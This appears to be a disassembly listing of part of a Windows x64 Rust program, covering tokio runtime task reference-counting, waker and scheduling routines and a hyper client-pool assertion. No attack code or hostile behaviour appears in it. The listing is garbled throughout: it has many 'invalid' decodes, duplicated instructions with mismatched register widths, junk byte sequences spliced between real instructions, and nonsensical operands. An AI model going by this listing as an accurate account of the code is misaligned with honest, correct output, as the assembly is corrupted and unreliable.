lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x30]
and al, 0x30
and al, 0x30
call fcn.140108560
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
call fcn.140108630
int3
mov rdx, rax
xor r8d, r8d
xor eax, eax
xor eax, eax
test dl, 3
sete r8b
or r8, rax
or r8, 0x20
lock cmpxchg qword [rcx], r8
jne 0x1400690f0
test dl, 3
je 0x14006913e
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x1400691a6
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14006919b
add rsp, 0x98
pop rdi
pop rsi
jmp 0x1400691c0
lea rsi, [rcx + 0x20]
mov byte [rsp + 0x90], 4
lea rdx, [rsp + 0x20]
mov rdi, rcx
mov rcx, rsi
call fcn.140068530
mov rax, qword [rdi + 0x28]
mov qword [rsp + 0x20], 1
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x38], rax
mov byte [rsp + 0x90], 3
lea rdx, [rsp + 0x20]
mov rcx, rsi
call fcn.140068530
mov rcx, rdi
add rsp, 0x98
pop rdi
pop rsi
jmp 0x140069290
nop
add rsp, 0x98
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
call fcn.140108630
int3
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
jne 0x1400691dd
lea rcx, [rsi + 0x20]
call fcn.140069420
lea rcx, [rsi + 0x30]
movzx eax, byte [rsi + 0xa0]
lea edx, [rax - 3]
lea r8d, [rax - 2]
xor r9d, r9d
cmp dl, 2
movzx edx, r8b
cmovae edx, r9d
cmp dl, 1
je 0x140069214
movzx edx, dl
test edx, edx
jne 0x140069250
cmp al, 2
je 0x140069250
call fcn.140064ab0
jmp 0x140069250
cmp qword [rcx], 0
je 0x140069250
mov rdi, qword [rsi + 0x38]
test rdi, rdi
je 0x140069250
mov rbx, qword [rsi + 0x40]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x140069250
cmp qword [rbx + 0x10], 0x11
jb 0x14006923e
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
adc dword [rax], eax
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0xb8]
test rax, rax
je 0x140069266
mov rcx, qword [rsi + 0xc0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
int3
push rsi
sub rsp, 0xd0
mov rsi, rcx
invalid
mov rax, qword [rcx]
nop
invalid
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x1400692a0
test al, 1
je 0x140069348
test al, 2
jne 0x140069360
test al, 8
jne 0x1400692da
lea rcx, [rsi + 0x20]
mov byte [rsp + 0xc8], 4
lea rdx, [rsp + 0x58]
call fcn.140068530
jmp 0x1400692f8
test al, 0x10
je 0x1400692f8
mov rax, qword [rsi + 0xb8]
test rax, rax
je 0x1400693e4
add byte [rax], al
invalid
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
test byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov es, eax
add byte [rax], al
add bh, bh
push rax
adc byte [rax - 0x75], cl
and byte [rax - 0x77], r9b
bnd call fcn.1400ea6e0
mov rcx, qword [rsi + 0xc0]
call qword [rax + 0x10]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ea6e0
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x28], rax
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x28]
jb 0x140069378
jne 0x14006933e
mov rcx, rsi
add rsp, 0xd0
add esp, 0xd0
add esp, 0xd0
pop rsi
jmp 0x1400691c0
nop
add rsp, 0xd0
rol byte [rax], 1
add byte [rax], al
rol byte [rax], 1
add byte [rax], al
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014ea18]
mov edx, 0x23
call fcn.140108630
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014ea58]
mov edx, 0x25
call fcn.140108630
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea rax, [fcn.140012cc0]
cli
dec dword [rax - 0x77]
and al, 0x40
cli
dec dword [rax - 0x77]
and al, 0x40
lea rcx, [rsp + 0x28]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rax
lea rax, str.current:___sub:_p
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 2
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 2
lea rdx, [0x14014eaa0]
lea rcx, [rsp + 0x58]
call fcn.140108560
lea rax, str.waker_missing
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x68], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x58]
call fcn.140108560
int3
invalid
add byte [rax], al
add dh, al
sub dword [rdx], eax
sub dword [rdx], eax
mov byte [rax + 0x30], 5
jmp 0x1400695e1
lea rcx, [rsi + 8]
lea ecx, [rsi + 8]
mov rdi, qword [rsi]
call fcn.140064ab0
mov byte [rsi + 0x78], 2
mov qword [rsp + 0x28], rbx
mov bl, 1
mov al, 1
xchg byte [rdi + 0x40], al
mov al, 1
xchg byte [rdi + 0x20], al
test al, al
jne 0x140069623
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
mov qword [rdi + 0x10], 0
xor edx, edx
xchg byte [rdi + 0x20], dl
test rax, rax
je 0x140069623
call qword [rax + 8]
xchg byte [rdi + 0x38], bl
test bl, bl
je 0x140069642
lock dec qword [rdi]
jne 0x140069665
mov rcx, rdi
call fcn.140034b00
cmp qword [rsp + 0x28], 0
jne 0x14006966d
jmp 0x140069677
mov rax, qword [rdi + 0x28]
mov rcx, qword [rdi + 0x30]
mov qword [rdi + 0x28], 0
add byte [rax], al
add byte [rax], al
test rax, rax
je 0x14006965a
call qword [rax + 0x18]
xor eax, eax
xchg byte [rdi + 0x38], al
lock dec qword [rdi]
je 0x140069630
retf
retf
cmp qword [rsp + 0x28], 0
je 0x140069677
lea rcx, [rsp + 0x28]
call fcn.140035b40
xor eax, eax
ror byte [rax - 0x7d], 0xc4
xor byte [rbx + 0x5f], bl
pop rbx
pop rdi
add rsp, 0x30
add esp, 0x30
pop rbx
pop rdi
pop rsi
ret
add eax, 0xd3e11
mov edx, 0x36
call fcn.14010d200
lea rcx, str.not_dropped
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientpool.rs
mov edx, 0xb
call fcn.140108990
mov ecx, 8
mov edx, 0x38
call fcn.1401082c0
int3
test al, 0
add byte [rax], al
movaps xmmword [rsp + 0x90], xmm6
mov rsi, rcx
mov rax, qword [rcx]
jmp 0x14006970a
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x140069735
test al, 4
je 0x140069d75
test al, 3
je case.0x140065698.22
cmp rax, 0x3f
jbe 0x140069d8d
lea rcx, [rax - 0x40]
cmp rcx, 0x40
cmp ecx, 0x40
cmp ecx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x14006970a
movzx eax, dl
lea rcx, [0x140178544]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14014ed10]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 0
cmp byte [rsi + 0xa8], 3
jae 0x140069da5
lea rdi, [rsi + 0x30]
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
add byte [rbx + 0x357401f8], al
add byte [rbx + 0x357401f8], al
xorps xmm6, xmm6
test eax, eax
jne 0x140069806
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e4030]
lea edx, [0x1400e4030]
lea edx, [0x1400e4030]
call fcn.1400d4720
mov byte [r14 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
add byte [rax], al
add byte [rax], al
mov qword [rax + 0xf8], rbx
cwde
clc
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
and al, 0x40
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.140069570
invalid
dec dword [rbx + 0x118afb0d]
sti
mov dl, byte [rcx]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
invalid
sti
mov dl, byte [rcx]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
mov dh, 0x89
and byte [rcx], al
add byte [rax], al
retf 0xb60f
mov dh, 0x89
and byte [rcx], al
add byte [rax], al
cmp ecx, 1
je 0x140069868
test ecx, ecx
jne 0x140069884
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
xor al, 0xca
adc al, 0x25
pop rax
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
xor al, 0xca
invalid
invalid
xor al, 0xca
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e4030]
mov ebx, eax
call fcn.1400d4720
scasb al, byte [rdi]
invalid
add byte [rcx - 0x7939be28], cl
and byte [rcx], al
add byte [rax], al
invalid
scasb al, byte [rdi]
invalid
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
mov rdx, qword [0x58]
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
mov cl, 1
test al, al
je 0x140069a94
test byte [rax], cl
add al, byte [rax]
invalid
ror byte [rdi], 0x84
or byte [rdx], al
add byte [rax], al
test byte [rax], cl
add al, byte [rax]
add byte [rax - 0x77], cl
mov ecx, esi
mov rcx, rsi
mov ecx, esi
call fcn.1400e6c50
movzx eax, al
lea rcx, [0x140178554]
movsxd rax, dword [rcx + rax*4]
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
add rcx, 0x10
mov rdx, rsi
mov r8b, 1
call fcn.1400ec490
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
invalid
cmp rax, 0x3f
jbe 0x140069ddd
invalid
invalid
add byte [rax - 0x7d], cl
loopne 0x140069894
and rax, 0xffffffffffffffc0
cmp rax, 0x40
cmp eax, 0x40
jne case.0x1400698a5.0
lea rcx, [rsi + 0x20]
mov rax, qword [rcx]
lock dec qword [rax]
dec dword [rax]
jne 0x1400698f0
call fcn.140068890
mov rcx, rdi
jmp 0x14006990c
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x140069908
lea rcx, [rsi + 0x20]
call fcn.140068890
lea rcx, [rsi + 0x30]
call fcn.14006a3e0
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x140069927
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x18]
mov cs, eax
add byte [rax], al
add bh, bh
push rax
sbb byte [rbx + rcx*4 + 0x46], cl
clc
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov dword [rcx], edx
add byte [rcx], dh
sar bh, cl
adc eax, 0xa9a26
jmp case.0x1400698a5.0
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140069996
xorps xmm6, xmm6
test eax, eax
jne 0x1400699c2
sal byte [rbp + 0x59], 0x8b
add eax, 0x1189a5
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax], al
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.14006a3e0
mov byte [rsi + 0xa8], 4
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140069a29
test eax, eax
jne 0x140069c52
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e4030]
mov edx, eax
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x7a613
call fcn.1400d4720
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
add al, 0xc1
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14006a3e0
mov qword [rsi + 0x30], 1
mov qword [rsi + 0x38], 0
mov qword [rsi + 0x48], rbx
jmp case.0x140018f24.2181
mov rbx, qword [rsi + 0x28]
cmp cl, 1
je 0x140069ad5
movzx eax, cl
xorps xmm6, xmm6
test eax, eax
jne 0x140069b01
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [r14 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14006a3e0
mov byte [rsi + 0xa8], 4
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140069b64
test eax, eax
jne 0x140069c9d
add byte [rax], al
add byte [rax], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
sbb al, 0xc1
invalid
add byte [rax - 0x75], cl
sbb al, 0xc1
invalid
ror dword [rax - 0x73], 0x8b
rol byte [rax], 1
add byte [rax], al
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
ret
stosd dword [rdi], eax
invalid
invalid
ret
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
add byte [rax], al
add byte [rax - 0x77], cl
cwde
clc
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
cwde
clc
add byte [rax], al
add byte [rax - 0x77], cl
stc
mov rcx, rdi
call fcn.14006a3e0
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], 0
mov dword [rdi + 0x10], 0
mov dword [rdi + 0x10], 0
mov byte [rsi + 0xa8], 3
mov eax, dword [0x140182314]
xchg dword [r9], edx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
and eax, 0x58
xchg dword [r9], edx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
and eax, 0x58
and eax, 0x58
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
and byte [rax], 1
add byte [rax], al
and byte [rax], 1
add byte [rax], al
cmp eax, 1
je 0x140069c1b
test eax, eax
jne 0x140069c35
mov eax, dword [0x140182314]
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea ecx, [rdi + 0xd0]
lea ecx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rdi + 0x120], 1
invalid
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
xrelease xchg byte [rcx], dl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
ror dword [rdi], 0x11
mov al, pe_nt_image_headers64
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call 0x14006a500
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x140069a47
xorps xmm6, xmm6
test eax, eax
jne 0x140069a73
invalid
invalid
invalid
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
rol byte [rax], 1
add byte [rax], al
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [r14 + 0x120], 1
jmp 0x140069a47
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x140069b82
xorps xmm6, xmm6
test eax, eax
jne 0x140069bae
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
xchg byte [rcx], dl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
stosb byte [rdi], al
invalid
add byte [rcx - 0x3a], al
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
jmp 0x140069b82
stosb byte [rdi], al
invalid
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140069d44
xorps xmm6, xmm6
test eax, eax
jne 0x1400699c6
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [r14 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
add byte [rax], al
add byte [rax], al
jmp 0x1400699c6
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014e998]
mov edx, 0x24
call fcn.140108630
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ecf8]
mov edx, 0x26
call fcn.140108630
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x28]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x60]
call fcn.140108560
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
call fcn.140108630
int3
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140069f82
test eax, eax
jne 0x140069f9c
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x14006a033
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14006a00e
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x140069fcf
lea rcx, [rsi + 0x20]
call fcn.140068890
lea rcx, [rsi + 0x30]
call fcn.14006a3e0
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x140069fee
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
clc
mov rcx, qword [0x140182260]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
call fcn.140108630
int3
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
add esp, 0x20
pop rsi
ret
add byte [rax], al
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x14006a174
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006a33d
test eax, eax
jne 0x14006a357
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
jmp 0x14006a500
or eax, 0x117e13
xor edx, edx
mov r8, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov dword [rsi + 0x10], 0
xor r8d, r8d
xchg byte [rsi + 0x20], r8b
test rdx, rdx
invalid
je 0x14006a4af
sal byte [rsi + rax - 1], cl
push rdx
or byte [rax - 0x77], cl
clc
call qword [rdx + 8]
mov rax, rdi
xchg byte [rsi + 0x38], bl
test bl, bl
je 0x14006a4cb
lock dec qword [rsi]
jne 0x14006a4f1
mov rcx, qword [rax]
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp fcn.140034b00
mov rdx, qword [rsi + 0x28]
mov rcx, qword [rsi + 0x30]
mov qword [rsi + 0x28], 0
test rdx, rdx
je 0x14006a4e6
call qword [rdx + 0x18]
mov rax, rdi
xor ecx, ecx
xchg byte [rsi + 0x38], cl
lock dec qword [rsi]
je 0x14006a4bc
retf
retf
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
push rsi
push rdi
push rbx
sub rsp, 0x90
movaps xmmword [rsp + 0x80], xmm6
mov rsi, rcx
mov rax, qword [rcx]
nop dword [rax + rax]
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x14006a520
test al, 1
je 0x14006a70a
test al, 2
jne 0x14006a722
test al, 8
jne 0x14006a645
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006a59d
xorps xmm6, xmm6
test eax, eax
jne 0x14006a5c9
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rcx, [rsi + 0x30]
call fcn.14006a3e0
mov byte [rsi + 0xa8], 4
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006a629
test eax, eax
jne 0x14006a663
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
jmp 0x14006a663
test al, 0x10
je 0x14006a663
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x14006a7a6
test byte [rbp + 1], cl
add byte [rax], al
test byte [rbp + 1], cl
add byte [rax], al
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x10]
lea rdi, [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ec330
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x20], rax
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x14006a73a
jne 0x14006a6f7
mov rax, qword [rdi]
lock dec qword [rax]
jne 0x14006a6b2
mov rcx, rdi
call fcn.140068890
lea rcx, [rsi + 0x30]
call fcn.14006a3e0
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x14006a6d1
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
ret
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014ea18]
mov edx, 0x23
call fcn.140108630
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014ea58]
mov edx, 0x25
call fcn.140108630
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
lea eax, [rsp + 0x28]
lea eax, [rsp + 0x28]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140012cc0]
mov qword [rsp + 0x68], rax
push 0x244c8d48
and byte [rax - 0x77], cl
and al, 0x70
push 0x244c8d48
and byte [rax - 0x77], cl
and al, 0x70
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:_p
invalid
invalid
add byte [rax - 0x77], cl
and al, 0x30
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
lea rdx, [0x14014eaa0]
lea rcx, [rsp + 0x30]
xor al, ch
invalid
fisttp qword [rcx]
invalid
invalid
xor al, ch
mov edx, 0x480009dd
lea eax, [0x14014e648]
lea rax, str.waker_missing
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
adc dword [rsp + 0x48], eax
adc dword [rsp + 0x48], eax
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x30]
call fcn.140108560
int3
push r14
push rsi
push rdi
push rbx
sub rsp, 0xa8
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x90], esi
mov ah, 0x24
nop
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x90], esi
mov ah, 0x24
nop
add byte [rax], al
invalid
mov ah, 0x24
nop
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov rsi, rcx
mov rax, qword [rcx]
add ebx, ebp
invalid
add ebx, ebp
invalid
add byte [rax - 0x77], cl
